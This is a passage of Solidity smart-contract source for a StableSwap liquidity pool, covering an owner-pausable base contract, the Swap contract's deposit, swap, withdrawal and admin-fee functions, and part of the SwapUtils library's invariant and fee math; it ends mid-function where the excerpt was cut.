abstract contract OwnerPausableUpgradeable is
OwnableUpgradeable,
PausableUpgradeable
{
function __OwnerPausable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
__Pausable_init_unchained();
}
/**
* @notice Pause the contract. Revert if already paused.
*/
function pause() external onlyOwner {
PausableUpgradeable._pause();
}
/**
* @notice Unpause the contract. Revert if already unpaused.
*/
function unpause() external onlyOwner {
PausableUpgradeable._unpause();
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/proxy/Clones.sol";
import "@openzeppelin/contracts-upgradeable/utils/ReentrancyGuardUpgradeable.sol";
import "./OwnerPausableUpgradeable.sol";
import "./SwapUtils.sol";
import "./AmplificationUtils.sol";
/**
* @title Swap - A StableSwap implementation in solidity.
* @notice This contract is responsible for custody of closely pegged assets (eg. group of stablecoins)
* and automatic market making system. Users become an LP (Liquidity Provider) by depositing their tokens
* in desired ratios for an exchange of the pool token that represents their share of the pool.
* Users can burn pool tokens and withdraw their share of token(s).
*
* Each time a swap between the pooled tokens happens, a set fee incurs which effectively gets
* distributed to the LPs.
*
* In case of emergencies, admin can pause additional deposits, swaps, or single-asset withdraws - which
* stops the ratio of the tokens in the pool from changing.
* Users can always withdraw their tokens via multi-asset withdraws.
*
* @dev Most of the logic is stored as a library `SwapUtils` for the sake of reducing contract's
* deployment size.
*/
contract Swap is OwnerPausableUpgradeable, ReentrancyGuardUpgradeable {
using SafeERC20 for IERC20;
using SafeMath for uint256;
using SwapUtils for SwapUtils.Swap;
using AmplificationUtils for SwapUtils.Swap;
// Struct storing data responsible for automatic market maker functionalities. In order to
// access this data, this contract uses SwapUtils library. For more details, see SwapUtils.sol
SwapUtils.Swap public swapStorage;
// Maps token address to an index in the pool. Used to prevent duplicate tokens in the pool.
// getTokenIndex function also relies on this mapping to retrieve token index.
mapping(address => uint8) private tokenIndexes;
/*** EVENTS ***/
// events replicated from SwapUtils to make the ABI easier for dumb
// clients
event TokenSwap(
address indexed buyer,
uint256 tokensSold,
uint256 tokensBought,
uint128 soldId,
uint128 boughtId
);
event AddLiquidity(
address indexed provider,
uint256[] tokenAmounts,
uint256[] fees,
uint256 invariant,
uint256 lpTokenSupply
);
event RemoveLiquidity(
address indexed provider,
uint256[] tokenAmounts,
uint256 lpTokenSupply
);
event RemoveLiquidityOne(
address indexed provider,
uint256 lpTokenAmount,
uint256 lpTokenSupply,
uint256 boughtId,
uint256 tokensBought
);
event RemoveLiquidityImbalance(
address indexed provider,
uint256[] tokenAmounts,
uint256[] fees,
uint256 invariant,
uint256 lpTokenSupply
);
event NewAdminFee(uint256 newAdminFee);
event NewSwapFee(uint256 newSwapFee);
event NewWithdrawFee(uint256 newWithdrawFee);
event RampA(
uint256 oldA,
uint256 newA,
uint256 initialTime,
uint256 futureTime
);
event StopRampA(uint256 currentA, uint256 time);
/**
* @notice Initializes this Swap contract with the given parameters.
* This will also clone a LPToken contract that represents users'
* LP positions. The owner of LPToken will be this contract - which means
* only this contract is allowed to mint/burn tokens.
*
* @param _pooledTokens an array of ERC20s this pool will accept
* @param decimals the decimals to use for each pooled token,
* eg 8 for WBTC. Cannot be larger than POOL_PRECISION_DECIMALS
* @param lpTokenName the long-form name of the token to be deployed
* @param lpTokenSymbol the short symbol for the token to be deployed
* @param _a the amplification coefficient * n * (n - 1). See the
* StableSwap paper for details
* @param _fee default swap fee to be initialized with
* @param _adminFee default adminFee to be initialized with
* @param _withdrawFee default withdrawFee to be initialized with
* @param lpTokenTargetAddress the address of an existing LPToken contract to use as a target
*/
function initialize(
IERC20[] memory _pooledTokens,
uint8[] memory decimals,
string memory lpTokenName,
string memory lpTokenSymbol,
uint256 _a,
uint256 _fee,
uint256 _adminFee,
uint256 _withdrawFee,
address lpTokenTargetAddress
) public virtual initializer {
__OwnerPausable_init();
__ReentrancyGuard_init();
// Check _pooledTokens and precisions parameter
require(_pooledTokens.length > 1, "_pooledTokens.length <= 1");
require(_pooledTokens.length <= 32, "_pooledTokens.length > 32");
require(
_pooledTokens.length == decimals.length,
"_pooledTokens decimals mismatch"
);
uint256[] memory precisionMultipliers = new uint256[](decimals.length);
for (uint8 i = 0; i < _pooledTokens.length; i++) {
if (i > 0) {
// Check if index is already used. Check if 0th element is a duplicate.
require(
tokenIndexes[address(_pooledTokens[i])] == 0 &&
_pooledTokens[0] != _pooledTokens[i],
"Duplicate tokens"
);
}
require(
address(_pooledTokens[i]) != address(0),
"The 0 address isn't an ERC-20"
);
require(
decimals[i] <= SwapUtils.POOL_PRECISION_DECIMALS,
"Token decimals exceeds max"
);
precisionMultipliers[i] =
10 **
uint256(SwapUtils.POOL_PRECISION_DECIMALS).sub(
uint256(decimals[i])
);
tokenIndexes[address(_pooledTokens[i])] = i;
}
// Check _a, _fee, _adminFee, _withdrawFee parameters
require(_a < AmplificationUtils.MAX_A, "_a exceeds maximum");
require(_fee < SwapUtils.MAX_SWAP_FEE, "_fee exceeds maximum");
require(
_adminFee < SwapUtils.MAX_ADMIN_FEE,
"_adminFee exceeds maximum"
);
require(
_withdrawFee < SwapUtils.MAX_WITHDRAW_FEE,
"_withdrawFee exceeds maximum"
);
// Clone and initialize a LPToken contract
LPToken lpToken = LPToken(Clones.clone(lpTokenTargetAddress));
require(
lpToken.initialize(lpTokenName, lpTokenSymbol),
"could not init lpToken clone"
);
// Initialize swapStorage struct
swapStorage.lpToken = lpToken;
swapStorage.pooledTokens = _pooledTokens;
swapStorage.tokenPrecisionMultipliers = precisionMultipliers;
swapStorage.balances = new uint256[](_pooledTokens.length);
swapStorage.initialA = _a.mul(AmplificationUtils.A_PRECISION);
swapStorage.futureA = _a.mul(AmplificationUtils.A_PRECISION);
// swapStorage.initialATime = 0;
// swapStorage.futureATime = 0;
swapStorage.swapFee = _fee;
swapStorage.adminFee = _adminFee;
swapStorage.defaultWithdrawFee = _withdrawFee;
}
/*** MODIFIERS ***/
/**
* @notice Modifier to check deadline against current timestamp
* @param deadline latest timestamp to accept this transaction
*/
modifier deadlineCheck(uint256 deadline) {
require(block.timestamp <= deadline, "Deadline not met");
_;
}
/*** VIEW FUNCTIONS ***/
/**
* @notice Return A, the amplification coefficient * n * (n - 1)
* @dev See the StableSwap paper for details
* @return A parameter
*/
function getA() external view virtual returns (uint256) {
return swapStorage.getA();
}
/**
* @notice Return A in its raw precision form
* @dev See the StableSwap paper for details
* @return A parameter in its raw precision form
*/
function getAPrecise() external view virtual returns (uint256) {
return swapStorage.getAPrecise();
}
/**
* @notice Return address of the pooled token at given index. Reverts if tokenIndex is out of range.
* @param index the index of the token
* @return address of the token at given index
*/
function getToken(uint8 index) public view virtual returns (IERC20) {
require(index < swapStorage.pooledTokens.length, "Out of range");
return swapStorage.pooledTokens[index];
}
/**
* @notice Return the index of the given token address. Reverts if no matching
* token is found.
* @param tokenAddress address of the token
* @return the index of the given token address
*/
function getTokenIndex(address tokenAddress)
public
view
virtual
returns (uint8)
{
uint8 index = tokenIndexes[tokenAddress];
require(
address(getToken(index)) == tokenAddress,
"Token does not exist"
);
return index;
}
/**
* @notice Return timestamp of last deposit of given address
* @return timestamp of the last deposit made by the given address
*/
function getDepositTimestamp(address user)
external
view
virtual
returns (uint256)
{
return swapStorage.getDepositTimestamp(user);
}
/**
* @notice Return current balance of the pooled token at given index
* @param index the index of the token
* @return current balance of the pooled token at given index with token's native precision
*/
function getTokenBalance(uint8 index)
external
view
virtual
returns (uint256)
{
require(index < swapStorage.pooledTokens.length, "Index out of range");
return swapStorage.balances[index];
}
/**
* @notice Get the virtual price, to help calculate profit
* @return the virtual price, scaled to the POOL_PRECISION_DECIMALS
*/
function getVirtualPrice() external view virtual returns (uint256) {
return swapStorage.getVirtualPrice();
}
/**
* @notice Calculate amount of tokens you receive on swap
* @param tokenIndexFrom the token the user wants to sell
* @param tokenIndexTo the token the user wants to buy
* @param dx the amount of tokens the user wants to sell. If the token charges
* a fee on transfers, use the amount that gets transferred after the fee.
* @return amount of tokens the user will receive
*/
function calculateSwap(
uint8 tokenIndexFrom,
uint8 tokenIndexTo,
uint256 dx
) external view virtual returns (uint256) {
return swapStorage.calculateSwap(tokenIndexFrom, tokenIndexTo, dx);
}
/**
* @notice A simple method to calculate prices from deposits or
* withdrawals, excluding fees but including slippage. This is
* helpful as an input into the various "min" parameters on calls
* to fight front-running
*
* @dev This shouldn't be used outside frontends for user estimates.
*
* @param account address that is depositing or withdrawing tokens
* @param amounts an array of token amounts to deposit or withdrawal,
* corresponding to pooledTokens. The amount should be in each
* pooled token's native precision. If a token charges a fee on transfers,
* use the amount that gets transferred after the fee.
* @param deposit whether this is a deposit or a withdrawal
* @return token amount the user will receive
*/
function calculateTokenAmount(
address account,
uint256[] calldata amounts,
bool deposit
) external view virtual returns (uint256) {
return swapStorage.calculateTokenAmount(account, amounts, deposit);
}
/**
* @notice A simple method to calculate amount of each underlying
* tokens that is returned upon burning given amount of LP tokens
* @param account the address that is withdrawing tokens
* @param amount the amount of LP tokens that would be burned on withdrawal
* @return array of token balances that the user will receive
*/
function calculateRemoveLiquidity(address account, uint256 amount)
external
view
virtual
returns (uint256[] memory)
{
return swapStorage.calculateRemoveLiquidity(account, amount);
}
/**
* @notice Calculate the amount of underlying token available to withdraw
* when withdrawing via only single token
* @param account the address that is withdrawing tokens
* @param tokenAmount the amount of LP token to burn
* @param tokenIndex index of which token will be withdrawn
* @return availableTokenAmount calculated amount of underlying token
* available to withdraw
*/
function calculateRemoveLiquidityOneToken(
address account,
uint256 tokenAmount,
uint8 tokenIndex
) external view virtual returns (uint256 availableTokenAmount) {
return
swapStorage.calculateWithdrawOneToken(
account,
tokenAmount,
tokenIndex
);
}
/**
* @notice Calculate the fee that is applied when the given user withdraws. The withdraw fee
* decays linearly over period of 4 weeks. For example, depositing and withdrawing right away
* will charge you the full amount of withdraw fee. But withdrawing after 4 weeks will charge you
* no additional fees.
* @dev returned value should be divided by FEE_DENOMINATOR to convert to correct decimals
* @param user address you want to calculate withdraw fee of
* @return current withdraw fee of the user
*/
function calculateCurrentWithdrawFee(address user)
external
view
virtual
returns (uint256)
{
return swapStorage.calculateCurrentWithdrawFee(user);
}
/**
* @notice This function reads the accumulated amount of admin fees of the token with given index
* @param index Index of the pooled token
* @return admin's token balance in the token's precision
*/
function getAdminBalance(uint256 index)
external
view
virtual
returns (uint256)
{
return swapStorage.getAdminBalance(index);
}
/*** STATE MODIFYING FUNCTIONS ***/
/**
* @notice Swap two tokens using this pool
* @param tokenIndexFrom the token the user wants to swap from
* @param tokenIndexTo the token the user wants to swap to
* @param dx the amount of tokens the user wants to swap from
* @param minDy the min amount the user would like to receive, or revert.
* @param deadline latest timestamp to accept this transaction
*/
function swap(
uint8 tokenIndexFrom,
uint8 tokenIndexTo,
uint256 dx,
uint256 minDy,
uint256 deadline
)
external
virtual
nonReentrant
whenNotPaused
deadlineCheck(deadline)
returns (uint256)
{
return swapStorage.swap(tokenIndexFrom, tokenIndexTo, dx, minDy);
}
/**
* @notice Add liquidity to the pool with the given amounts of tokens
* @param amounts the amounts of each token to add, in their native precision
* @param minToMint the minimum LP tokens adding this amount of liquidity
* should mint, otherwise revert. Handy for front-running mitigation
* @param deadline latest timestamp to accept this transaction
* @return amount of LP token user minted and received
*/
function addLiquidity(
uint256[] calldata amounts,
uint256 minToMint,
uint256 deadline
)
external
virtual
nonReentrant
whenNotPaused
deadlineCheck(deadline)
returns (uint256)
{
return swapStorage.addLiquidity(amounts, minToMint);
}
/**
* @notice Burn LP tokens to remove liquidity from the pool. Withdraw fee that decays linearly
* over period of 4 weeks since last deposit will apply.
* @dev Liquidity can always be removed, even when the pool is paused.
* @param amount the amount of LP tokens to burn
* @param minAmounts the minimum amounts of each token in the pool
* acceptable for this burn. Useful as a front-running mitigation
* @param deadline latest timestamp to accept this transaction
* @return amounts of tokens user received
*/
function removeLiquidity(
uint256 amount,
uint256[] calldata minAmounts,
uint256 deadline
)
external
virtual
nonReentrant
deadlineCheck(deadline)
returns (uint256[] memory)
{
return swapStorage.removeLiquidity(amount, minAmounts);
}
/**
* @notice Remove liquidity from the pool all in one token. Withdraw fee that decays linearly
* over period of 4 weeks since last deposit will apply.
* @param tokenAmount the amount of the token you want to receive
* @param tokenIndex the index of the token you want to receive
* @param minAmount the minimum amount to withdraw, otherwise revert
* @param deadline latest timestamp to accept this transaction
* @return amount of chosen token user received
*/
function removeLiquidityOneToken(
uint256 tokenAmount,
uint8 tokenIndex,
uint256 minAmount,
uint256 deadline
)
external
virtual
nonReentrant
whenNotPaused
deadlineCheck(deadline)
returns (uint256)
{
return
swapStorage.removeLiquidityOneToken(
tokenAmount,
tokenIndex,
minAmount
);
}
/**
* @notice Remove liquidity from the pool, weighted differently than the
* pool's current balances. Withdraw fee that decays linearly
* over period of 4 weeks since last deposit will apply.
* @param amounts how much of each token to withdraw
* @param maxBurnAmount the max LP token provider is willing to pay to
* remove liquidity. Useful as a front-running mitigation.
* @param deadline latest timestamp to accept this transaction
* @return amount of LP tokens burned
*/
function removeLiquidityImbalance(
uint256[] calldata amounts,
uint256 maxBurnAmount,
uint256 deadline
)
external
virtual
nonReentrant
whenNotPaused
deadlineCheck(deadline)
returns (uint256)
{
return swapStorage.removeLiquidityImbalance(amounts, maxBurnAmount);
}
/*** ADMIN FUNCTIONS ***/
/**
* @notice Updates the user withdraw fee. This function can only be called by
* the pool token. Should be used to update the withdraw fee on transfer of pool tokens.
* Transferring your pool token will reset the 4 weeks period. If the recipient is already
* holding some pool tokens, the withdraw fee will be discounted in respective amounts.
* @param recipient address of the recipient of pool token
* @param transferAmount amount of pool token to transfer
*/
function updateUserWithdrawFee(address recipient, uint256 transferAmount)
external
{
require(
msg.sender == address(swapStorage.lpToken),
"Only callable by pool token"
);
swapStorage.updateUserWithdrawFee(recipient, transferAmount);
}
/**
* @notice Withdraw all admin fees to the contract owner
*/
function withdrawAdminFees() external onlyOwner {
swapStorage.withdrawAdminFees(owner());
}
/**
* @notice Update the admin fee. Admin fee takes portion of the swap fee.
* @param newAdminFee new admin fee to be applied on future transactions
*/
function setAdminFee(uint256 newAdminFee) external onlyOwner {
swapStorage.setAdminFee(newAdminFee);
}
/**
* @notice Update the swap fee to be applied on swaps
* @param newSwapFee new swap fee to be applied on future transactions
*/
function setSwapFee(uint256 newSwapFee) external onlyOwner {
swapStorage.setSwapFee(newSwapFee);
}
/**
* @notice Update the withdraw fee. This fee decays linearly over 4 weeks since
* user's last deposit.
* @param newWithdrawFee new withdraw fee to be applied on future deposits
*/
function setDefaultWithdrawFee(uint256 newWithdrawFee) external onlyOwner {
swapStorage.setDefaultWithdrawFee(newWithdrawFee);
}
/**
* @notice Start ramping up or down A parameter towards given futureA and futureTime
* Checks if the change is too rapid, and commits the new A value only when it falls under
* the limit range.
* @param futureA the new A to ramp towards
* @param futureTime timestamp when the new A should be reached
*/
function rampA(uint256 futureA, uint256 futureTime) external onlyOwner {
swapStorage.rampA(futureA, futureTime);
}
/**
* @notice Stop ramping A immediately. Reverts if ramp A is already stopped.
*/
function stopRampA() external onlyOwner {
swapStorage.stopRampA();
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "./AmplificationUtils.sol";
import "./LPToken.sol";
import "./MathUtils.sol";
/**
* @title SwapUtils library
* @notice A library to be used within Swap.sol. Contains functions responsible for custody and AMM functionalities.
* @dev Contracts relying on this library must initialize SwapUtils.Swap struct then use this library
* for SwapUtils.Swap struct. Note that this library contains both functions called by users and admins.
* Admin functions should be protected within contracts using this library.
*/
library SwapUtils {
using SafeERC20 for IERC20;
using SafeMath for uint256;
using MathUtils for uint256;
/*** EVENTS ***/
event TokenSwap(
address indexed buyer,
uint256 tokensSold,
uint256 tokensBought,
uint128 soldId,
uint128 boughtId
);
event AddLiquidity(
address indexed provider,
uint256[] tokenAmounts,
uint256[] fees,
uint256 invariant,
uint256 lpTokenSupply
);
event RemoveLiquidity(
address indexed provider,
uint256[] tokenAmounts,
uint256 lpTokenSupply
);
event RemoveLiquidityOne(
address indexed provider,
uint256 lpTokenAmount,
uint256 lpTokenSupply,
uint256 boughtId,
uint256 tokensBought
);
event RemoveLiquidityImbalance(
address indexed provider,
uint256[] tokenAmounts,
uint256[] fees,
uint256 invariant,
uint256 lpTokenSupply
);
event NewAdminFee(uint256 newAdminFee);
event NewSwapFee(uint256 newSwapFee);
event NewWithdrawFee(uint256 newWithdrawFee);
struct Swap {
// variables around the ramp management of A,
// the amplification coefficient * n * (n - 1)
// see https://www.curve.fi/stableswap-paper.pdf for details
uint256 initialA;
uint256 futureA;
uint256 initialATime;
uint256 futureATime;
// fee calculation
uint256 swapFee;
uint256 adminFee;
uint256 defaultWithdrawFee;
LPToken lpToken;
// contract references for all tokens being pooled
IERC20[] pooledTokens;
// multipliers for each pooled token's precision to get to POOL_PRECISION_DECIMALS
// for example, TBTC has 18 decimals, so the multiplier should be 1. WBTC
// has 8, so the multiplier should be 10 ** 18 / 10 ** 8 => 10 ** 10
uint256[] tokenPrecisionMultipliers;
// the pool balance of each token, in the token's precision
// the contract's actual token balance might differ
uint256[] balances;
mapping(address => uint256) depositTimestamp;
mapping(address => uint256) withdrawFeeMultiplier;
}
// Struct storing variables used in calculations in the
// calculateWithdrawOneTokenDY function to avoid stack too deep errors
struct CalculateWithdrawOneTokenDYInfo {
uint256 d0;
uint256 d1;
uint256 newY;
uint256 feePerToken;
uint256 preciseA;
}
// Struct storing variables used in calculations in the
// {add,remove}Liquidity functions to avoid stack too deep errors
struct ManageLiquidityInfo {
uint256 d0;
uint256 d1;
uint256 d2;
uint256 preciseA;
LPToken lpToken;
uint256 totalSupply;
uint256[] balances;
uint256[] multipliers;
}
// the precision all pools tokens will be converted to
uint8 public constant POOL_PRECISION_DECIMALS = 18;
// the denominator used to calculate admin and LP fees. For example, an
// LP fee might be something like tradeAmount.mul(fee).div(FEE_DENOMINATOR)
uint256 private constant FEE_DENOMINATOR = 10**10;
// Max swap fee is 1% or 100bps of each swap
uint256 public constant MAX_SWAP_FEE = 10**8;
// Max adminFee is 100% of the swapFee
// adminFee does not add additional fee on top of swapFee
// Instead it takes a certain % of the swapFee. Therefore it has no impact on the
// users but only on the earnings of LPs
uint256 public constant MAX_ADMIN_FEE = 10**10;
// Max withdrawFee is 1% of the value withdrawn
// Fee will be redistributed to the LPs in the pool, rewarding
// long term providers.
uint256 public constant MAX_WITHDRAW_FEE = 10**8;
// Constant value used as max loop limit
uint256 private constant MAX_LOOP_LIMIT = 256;
// Time that it should take for the withdraw fee to fully decay to 0
uint256 public constant WITHDRAW_FEE_DECAY_TIME = 4 weeks;
/*** VIEW & PURE FUNCTIONS ***/
/**
* @notice Retrieves the timestamp of last deposit made by the given address
* @param self Swap struct to read from
* @return timestamp of last deposit
*/
function getDepositTimestamp(Swap storage self, address user)
external
view
returns (uint256)
{
return self.depositTimestamp[user];
}
function _getAPrecise(Swap storage self) internal view returns (uint256) {
return AmplificationUtils._getAPrecise(self);
}
/**
* @notice Calculate the dy, the amount of selected token that user receives and
* the fee of withdrawing in one token
* @param account the address that is withdrawing
* @param tokenAmount the amount to withdraw in the pool's precision
* @param tokenIndex which token will be withdrawn
* @param self Swap struct to read from
* @return the amount of token user will receive
*/
function calculateWithdrawOneToken(
Swap storage self,
address account,
uint256 tokenAmount,
uint8 tokenIndex
) external view returns (uint256) {
(uint256 availableTokenAmount, ) =
_calculateWithdrawOneToken(
self,
account,
tokenAmount,
tokenIndex,
self.lpToken.totalSupply()
);
return availableTokenAmount;
}
function _calculateWithdrawOneToken(
Swap storage self,
address account,
uint256 tokenAmount,
uint8 tokenIndex,
uint256 totalSupply
) internal view returns (uint256, uint256) {
uint256 dy;
uint256 newY;
uint256 currentY;
(dy, newY, currentY) = calculateWithdrawOneTokenDY(
self,
tokenIndex,
tokenAmount,
totalSupply
);
// dy_0 (without fees)
// dy, dy_0 - dy
uint256 dySwapFee =
currentY
.sub(newY)
.div(self.tokenPrecisionMultipliers[tokenIndex])
.sub(dy);
dy = dy
.mul(
FEE_DENOMINATOR.sub(_calculateCurrentWithdrawFee(self, account))
)
.div(FEE_DENOMINATOR);
return (dy, dySwapFee);
}
/**
* @notice Calculate the dy of withdrawing in one token
* @param self Swap struct to read from
* @param tokenIndex which token will be withdrawn
* @param tokenAmount the amount to withdraw in the pools precision
* @return the d and the new y after withdrawing one token
*/
function calculateWithdrawOneTokenDY(
Swap storage self,
uint8 tokenIndex,
uint256 tokenAmount,
uint256 totalSupply
)
internal
view
returns (
uint256,
uint256,
uint256
)
{
// Get the current D, then solve the stableswap invariant
// y_i for D - tokenAmount
uint256[] memory xp = _xp(self);
require(tokenIndex < xp.length, "Token index out of range");
CalculateWithdrawOneTokenDYInfo memory v =
CalculateWithdrawOneTokenDYInfo(0, 0, 0, 0, 0);
v.preciseA = _getAPrecise(self);
v.d0 = getD(xp, v.preciseA);
v.d1 = v.d0.sub(tokenAmount.mul(v.d0).div(totalSupply));
require(tokenAmount <= xp[tokenIndex], "Withdraw exceeds available");
v.newY = getYD(v.preciseA, tokenIndex, xp, v.d1);
uint256[] memory xpReduced = new uint256[](xp.length);
v.feePerToken = _feePerToken(self.swapFee, xp.length);
for (uint256 i = 0; i < xp.length; i++) {
uint256 xpi = xp[i];
// if i == tokenIndex, dxExpected = xp[i] * d1 / d0 - newY
// else dxExpected = xp[i] - (xp[i] * d1 / d0)
// xpReduced[i] -= dxExpected * fee / FEE_DENOMINATOR
xpReduced[i] = xpi.sub(
(
(i == tokenIndex)
? xpi.mul(v.d1).div(v.d0).sub(v.newY)
: xpi.sub(xpi.mul(v.d1).div(v.d0))
)
.mul(v.feePerToken)
.div(FEE_DENOMINATOR)
);
}
uint256 dy =
xpReduced[tokenIndex].sub(
getYD(v.preciseA, tokenIndex, xpReduced, v.d1)
);
dy = dy.sub(1).div(self.tokenPrecisionMultipliers[tokenIndex]);
return (dy, v.newY, xp[tokenIndex]);
}
/**
* @notice Calculate the price of a token in the pool with given
* precision-adjusted balances and a particular D.
*
* @dev This is accomplished via solving the invariant iteratively.
* See the StableSwap paper and Curve.fi implementation for further details.
*
* x_1**2 + x1 * (sum' - (A*n**n - 1) * D / (A * n**n)) = D ** (n + 1) / (n ** (2 * n) * prod' * A)
* x_1**2 + b*x_1 = c
* x_1 = (x_1**2 + c) / (2*x_1 + b)
*
* @param a the amplification coefficient * n * (n - 1). See the StableSwap paper for details.
* @param tokenIndex Index of token we are calculating for.
* @param xp a precision-adjusted set of pool balances. Array should be
* the same cardinality as the pool.
* @param d the stableswap invariant
* @return the price of the token, in the same precision as in xp
*/
function getYD(
uint256 a,
uint8 tokenIndex,
uint256[] memory xp,
uint256 d
) internal pure returns (uint256) {
uint256 numTokens = xp.length;
require(tokenIndex < numTokens, "Token not found");
uint256 c = d;
uint256 s;
uint256 nA = a.mul(numTokens);
for (uint256 i = 0; i < numTokens; i++) {
if (i != tokenIndex) {
s = s.add(xp[i]);
c = c.mul(d).div(xp[i].mul(numTokens));
// If we were to protect the division loss we would have to keep the denominator separate
// and divide at the end. However this leads to overflow with large numTokens or/and D.
// c = c * D * D * D * ... overflow!
}
}
c = c.mul(d).mul(AmplificationUtils.A_PRECISION).div(nA.mul(numTokens));
uint256 b = s.add(d.mul(AmplificationUtils.A_PRECISION).div(nA));
uint256 yPrev;
uint256 y = d;
for (uint256 i = 0; i < MAX_LOOP_LIMIT; i++) {
yPrev = y;
y = y.mul(y).add(c).div(y.mul(2).add(b).sub(d));
if (y.within1(yPrev)) {
return y;
}
}
revert("Approximation did not converge");
}
/**
* @notice Get D, the StableSwap invariant, based on a set of balances and a particular A.
* @param xp a precision-adjusted set of pool balances. Array should be the same cardinality
* as the pool.
* @param a the amplification coefficient * n * (n - 1) in A_PRECISION.
* See the StableSwap paper for details
* @return the invariant, at the precision of the pool
*/
function getD(uint256[] memory xp, uint256 a)
internal
pure
returns (uint256)
{
uint256 numTokens = xp.length;
uint256 s;
for (uint256 i = 0; i < numTokens; i++) {
s = s.add(xp[i]);
}
if (s == 0) {
return 0;
}
uint256 prevD;
uint256 d = s;
uint256 nA = a.mul(numTokens);
for (uint256 i = 0; i < MAX_LOOP_LIMIT; i++) {
uint256 dP = d;
for (uint256 j = 0; j < numTokens; j++) {
dP = dP.mul(d).div(xp[j].mul(numTokens));
// If we were to protect the division loss we would have to keep the denominator separate
// and divide at the end. However this leads to overflow with large numTokens or/and D.
// dP = dP * D * D * D * ... overflow!
}
prevD = d;
d = nA
.mul(s)
.div(AmplificationUtils.A_PRECISION)
.add(dP.mul(numTokens))
.mul(d)
.div(
nA
.sub(AmplificationUtils.A_PRECISION)
.mul(d)
.div(AmplificationUtils.A_PRECISION)
.add(numTokens.add(1).mul(dP))
);
if (d.within1(prevD)) {
return d;
}
}
// Convergence should occur in 4 loops or less. If this is reached, there may be something wrong
// with the pool. If this were to occur repeatedly, LPs should withdraw via `removeLiquidity()`
// function which does not rely on D.
revert("D does not converge");
}
/**
* @notice Given a set of balances and precision multipliers, return the
* precision-adjusted balances.
*
* @param balances an array of token balances, in their native precisions.
* These should generally correspond with pooled tokens.
*
* @param precisionMultipliers an array of multipliers, corresponding to
* the amounts in the balances array. When multiplied together they
* should yield amounts at the pool's precision.
*
* @return an array of amounts "scaled" to the pool's precision
*/
function _xp(
uint256[] memory balances,
uint256[] memory precisionMultipliers
) internal pure returns (uint256[] memory) {
uint256 numTokens = balances.length;
require(
numTokens == precisionMultipliers.length,
"Balances must match multipliers"
);
uint256[] memory xp = new uint256[](numTokens);
for (uint256 i = 0; i < numTokens; i++) {
xp[i] = balances[i].mul(precisionMultipliers[i]);
}
return xp;
}
/**
* @notice Return the precision-adjusted balances of all tokens in the pool
* @param self Swap struct to read from
* @return the pool balances "scaled" to the pool's precision, allowing
* them to be more easily compared.
*/
function _xp(Swap storage self) internal view returns (uint256[] memory) {
return _xp(self.balances, self.tokenPrecisionMultipliers);
}
/**
* @notice Get the virtual price, to help calculate profit
* @param self Swap struct to read from
* @return the virtual price, scaled to precision of POOL_PRECISION_DECIMALS
*/
function getVirtualPrice(Swap storage self)
external
view
returns (uint256)
{
uint256 d = getD(_xp(self), _getAPrecise(self));
LPToken lpToken = self.lpToken;
uint256 supply = lpToken.totalSupply();
if (supply > 0) {
return d.mul(10**uint256(POOL_PRECISION_DECIMALS)).div(supply);
}
return 0;
}
/**
* @notice Calculate the new balances of the tokens given the indexes of the token
* that is swapped from (FROM) and the token that is swapped to (TO).
* This function is used as a helper function to calculate how much TO token
* the user should receive on swap.
*
* @param preciseA precise form of amplification coefficient
* @param tokenIndexFrom index of FROM token
* @param tokenIndexTo index of TO token
* @param x the new total amount of FROM token
* @param xp balances of the tokens in the pool
* @return the amount of TO token that should remain in the pool
*/
function getY(
uint256 preciseA,
uint8 tokenIndexFrom,
uint8 tokenIndexTo,
uint256 x,
uint256[] memory xp
) internal pure returns (uint256) {
uint256 numTokens = xp.length;
require(
tokenIndexFrom != tokenIndexTo,
"Can't compare token to itself"
);
require(
tokenIndexFrom < numTokens && tokenIndexTo < numTokens,
"Tokens must be in pool"
);
uint256 d = getD(xp, preciseA);
uint256 c = d;
uint256 s;
uint256 nA = numTokens.mul(preciseA);
uint256 _x;
for (uint256 i = 0; i < numTokens; i++) {
if (i == tokenIndexFrom) {
_x = x;
} else if (i != tokenIndexTo) {
_x = xp[i];
} else {
continue;
}
s = s.add(_x);
c = c.mul(d).div(_x.mul(numTokens));
// If we were to protect the division loss we would have to keep the denominator separate
// and divide at the end. However this leads to overflow with large numTokens or/and D.
// c = c * D * D * D * ... overflow!
}
c = c.mul(d).mul(AmplificationUtils.A_PRECISION).div(nA.mul(numTokens));
uint256 b = s.add(d.mul(AmplificationUtils.A_PRECISION).div(nA));
uint256 yPrev;
uint256 y = d;
// iterative approximation
for (uint256 i = 0; i < MAX_LOOP_LIMIT; i++) {
yPrev = y;
y = y.mul(y).add(c).div(y.mul(2).add(b).sub(d));
if (y.within1(yPrev)) {
return y;
}
}
revert("Approximation did not converge");
}
/**
* @notice Externally calculates a swap between two tokens.
* @param self Swap struct to read from
* @param tokenIndexFrom the token to sell
* @param tokenIndexTo the token to buy
* @param dx the number of tokens to sell. If the token charges a fee on transfers,
* use the amount that gets transferred after the fee.
* @return dy the number of tokens the user will get
*/
function calculateSwap(
Swap storage self,
uint8 tokenIndexFrom,
uint8 tokenIndexTo,
uint256 dx
) external view returns (uint256 dy) {
(dy, ) = _calculateSwap(
self,
tokenIndexFrom,
tokenIndexTo,
dx,
self.balances
);
}
/**
* @notice Internally calculates a swap between two tokens.
*
* @dev The caller is expected to transfer the actual amounts (dx and dy)
* using the token contracts.
*
* @param self Swap struct to read from
* @param tokenIndexFrom the token to sell
* @param tokenIndexTo the token to buy
* @param dx the number of tokens to sell. If the token charges a fee on transfers,
* use the amount that gets transferred after the fee.
* @return dy the number of tokens the user will get
* @return dyFee the associated fee
*/
function _calculateSwap(
Swap storage self,
uint8 tokenIndexFrom,
uint8 tokenIndexTo,
uint256 dx,
uint256[] memory balances
) internal view returns (uint256 dy, uint256 dyFee) {
uint256[] memory multipliers = self.tokenPrecisionMultipliers;
uint256[] memory xp = _xp(balances, multipliers);
require(
tokenIndexFrom < xp.length && tokenIndexTo < xp.length,
"Token index out of range"
);
uint256 x = dx.mul(multipliers[tokenIndexFrom]).add(xp[tokenIndexFrom]);
uint256 y =
getY(_getAPrecise(self), tokenIndexFrom, tokenIndexTo, x, xp);
dy = xp[tokenIndexTo].sub(y).sub(1);
